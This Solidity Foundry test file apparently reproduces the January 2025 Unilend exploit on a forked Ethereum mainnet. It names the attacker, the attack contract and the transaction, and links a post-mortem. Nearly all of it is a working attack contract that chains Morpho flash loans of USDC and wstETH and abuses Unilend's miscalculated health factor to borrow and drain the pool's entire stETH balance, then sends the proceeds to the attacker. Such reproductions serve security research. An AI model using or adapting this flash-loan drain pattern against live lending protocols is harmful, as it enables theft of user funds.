src/test/2025-01/Unilend_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 60 stETH
8// Attacker : https://etherscan.io/address/0x55f5f8058816d5376df310770ca3a2e294089c33
9// Attack Contract : https://etherscan.io/address/0x3f814e5fae74cd73a70a0ea38d85971dfa6fda21
10// Vulnerable Contract : https://etherscan.io/address/0x4e34dd25dbd367b1bf82e1b5527dbbe799fad0d0
11// Attack Tx : https://etherscan.io/tx/0x44037ffc0993327176975e08789b71c1058318f48ddeff25890a577d6555b6ba
12 
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x4e34dd25dbd367b1bf82e1b5527dbbe799fad0d0#code
15 
16// @Analysis
17// Post-mortem : https://slowmist.medium.com/analysis-of-the-unilend-hack-90022fa35a54
18// Twitter Guy : https://x.com/SlowMist_Team/status/1878651772375572573
19// Hacking God : N/A
20pragma solidity ^0.8.0;
21 
22 
23address constant USDC_ADDR = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
24address constant MORPHO = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;
25address constant UNILEND_CORE = 0x7f2E24D2394f2bdabb464B888cb02EbA6d15B958;
26// usdc / stETH pool
27address constant UNILEND_POOL = 0x4E34DD25Dbd367B1bF82E1B5527DBbE799fAD0d0;
28address constant UNILEND_POSITION = 0xc45e4aE09c772D143677280f0a764f34F497677a;
29address constant WSTETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;
30address constant STETH = 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84;
31address constant ATTACKER2 = 0x6a1F503bfEc09b6A5D3eFdDDea8BA9dCeb9ec2d1;
32 
33contract Unilend is BaseTestWithBalanceLog {
34    uint256 blocknumToForkFrom = 21608004 - 1;
35 
36    function setUp() public {
37        vm.createSelectFork("mainnet", blocknumToForkFrom);
38        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
39        fundingToken = STETH;
40    }
41 
42    function testExploit() public balanceLog {
43        // Step 1: attacker pledged 200 USDC to the UnilendV2Pool
44        // https://app.blocksec.com/explorer/tx/eth/0xdaf42127499f878b62fc5ba2103135de1c36e1646487cee309c077296814f5ff
45 
46        // Step 2: transfer the 150,237,398 USDC lendShares to the attack contract
47        // https://app.blocksec.com/explorer/tx/eth/0xefa9c4383dc58e492cd1c670d2661968db28fa7557b9c8f90685e5a6cbbf41fe
48        AttackContract attackContract = new AttackContract();
49        vm.prank(ATTACKER2);
50        IERC721(UNILEND_POSITION).safeTransferFrom(ATTACKER2, address(attackContract), 115);
51 
52        // Step 3
53        // https://app.blocksec.com/explorer/tx/eth/0x44037ffc0993327176975e08789b71c1058318f48ddeff25890a577d6555b6ba
54        attackContract.attack();
55    }
56}
57 
58contract AttackContract {
59    address public attacker;
60    constructor() {
61        attacker = msg.sender;
62    }
63    function attack() public {
64        setApprove();
65 
66        uint256 num = 0x73;
67        bytes memory data = abi.encode(num, USDC_ADDR);
68        // Step 4: borrow 60M USDC
69        IMorphoBuleFlashLoan(MORPHO).flashLoan(USDC_ADDR, 60_000_000_000_000, data);
70    }
71 
72    function setApprove() public {
73        IERC20(USDC_ADDR).approve(MORPHO, type(uint256).max);
74        IERC20(USDC_ADDR).approve(UNILEND_CORE, type(uint256).max);
75        IERC20(WSTETH).approve(MORPHO, type(uint256).max);
76        IERC20(STETH).approve(UNILEND_CORE, type(uint256).max);
77        IERC20(STETH).approve(WSTETH, type(uint256).max);
78    }
79 
80    function onMorphoFlashLoan(uint256 amount, bytes calldata data) public {
81        (uint256 num, address addr) = abi.decode(data, (uint256, address));
82        if (addr == USDC_ADDR) {
83            // Step 5: borrow 5.7 wstETH
84            setApprove();
85 
86            // Constant chosen to exploit the miscalculated health factor bug.
87            // Allows the attacker to borrow just enough stETH to drain the entire pool.
88            // check Post-mortem for more details
89            uint256 wstAmount = 5_757_882_098_882_308_991;
90 
91            // Liquidity0 usdc, Liquidity1 stETH
92            // uint256 availableLiquidity0 = IUnilendV2Pool(UNILEND_POOL).getAvailableLiquidity0();
93            uint256 availableLiquidity1 = IUnilendV2Pool(UNILEND_POOL).getAvailableLiquidity1();
94 
95            uint256 num = 0x73;
96            bytes memory data = abi.encode(num, WSTETH);
97            wstAmount = IWstETH(WSTETH).getWstETHByStETH(availableLiquidity1);
98            IMorphoBuleFlashLoan(MORPHO).flashLoan(WSTETH, wstAmount, data);
99            
100        } else if (addr == WSTETH) {
101            // Step 6: exploit the vulnerability
102            // wstETH -> stETH
103            uint256 stAmount = IWstETH(WSTETH).unwrap(amount);
104 
105            IUniLendV2Core unilendCore = IUniLendV2Core(UNILEND_CORE);
106 
107            int borrowAmount = int(IERC20(STETH).balanceOf(UNILEND_POOL));
108 
109            // 60M USDC
110            int usdcAmount = 60_000_000_000_000;
111            unilendCore.lend(UNILEND_POOL, -usdcAmount);
112            unilendCore.lend(UNILEND_POOL, int(stAmount));
113 
114            unilendCore.borrow(UNILEND_POOL, borrowAmount, 0, address(this));
115 
116            unilendCore.redeemUnderlying(UNILEND_POOL, int(stAmount), address(this));
117            unilendCore.redeemUnderlying(UNILEND_POOL, -usdcAmount, address(this));
118 
119            IWstETH(WSTETH).wrap(IWstETH(WSTETH).getStETHByWstETH(amount) + 1 wei);
120            uint256 stETHAmount = IERC20(STETH).balanceOf(address(this));
121            IERC20(STETH).transfer(attacker, stETHAmount);
122        }
123    }
124 
125    function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
126        return IERC721Receiver.onERC721Received.selector;
127    }
128}
129 
130interface IWstETH {
131    function unwrap(uint256 _wstETHAmount) external returns (uint256);
132    function wrap(uint256 _stETHAmount) external returns (uint256);
133    function getWstETHByStETH(uint256 _stETHAmount) external view returns (uint256);
134    function getStETHByWstETH(uint256 _wstETHAmount) external view returns (uint256);
135}
136 
137interface IUniLendV2Core {
138    function lend(address _pool, int _amount) external returns(int mintedTokens);
139    function borrow(address _pool, int _amount, uint _collateral_ammount, address _recipient) external;
140    function redeemUnderlying(address _pool, int _amount, address _receiver) external returns(int _token_amount);
141}
142 
143interface IUnilendV2Pool {
144    function userSharesOftoken0(uint _nftID) external view returns (uint _lendShare0, uint _borrowShare0);
145    function userSharesOftoken1(uint _nftID) external view returns (uint _lendShare1, uint _borrowShare1);
146    function userBalanceOftoken0(uint _nftID) external view returns (uint _lendBalance0, uint _borrowBalance0);
147    function userBalanceOftoken1(uint _nftID) external view returns (uint _lendBalance1, uint _borrowBalance1);
148    function getAvailableLiquidity0() external view returns (uint _available);
149    function getAvailableLiquidity1() external view returns (uint _available);
150    function getLTV() external view returns (uint);
151    function getLB() external view returns (uint);
152    function getRF() external view returns (uint);
153}
154 
155interface IERC721Receiver {
156    function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4);
157}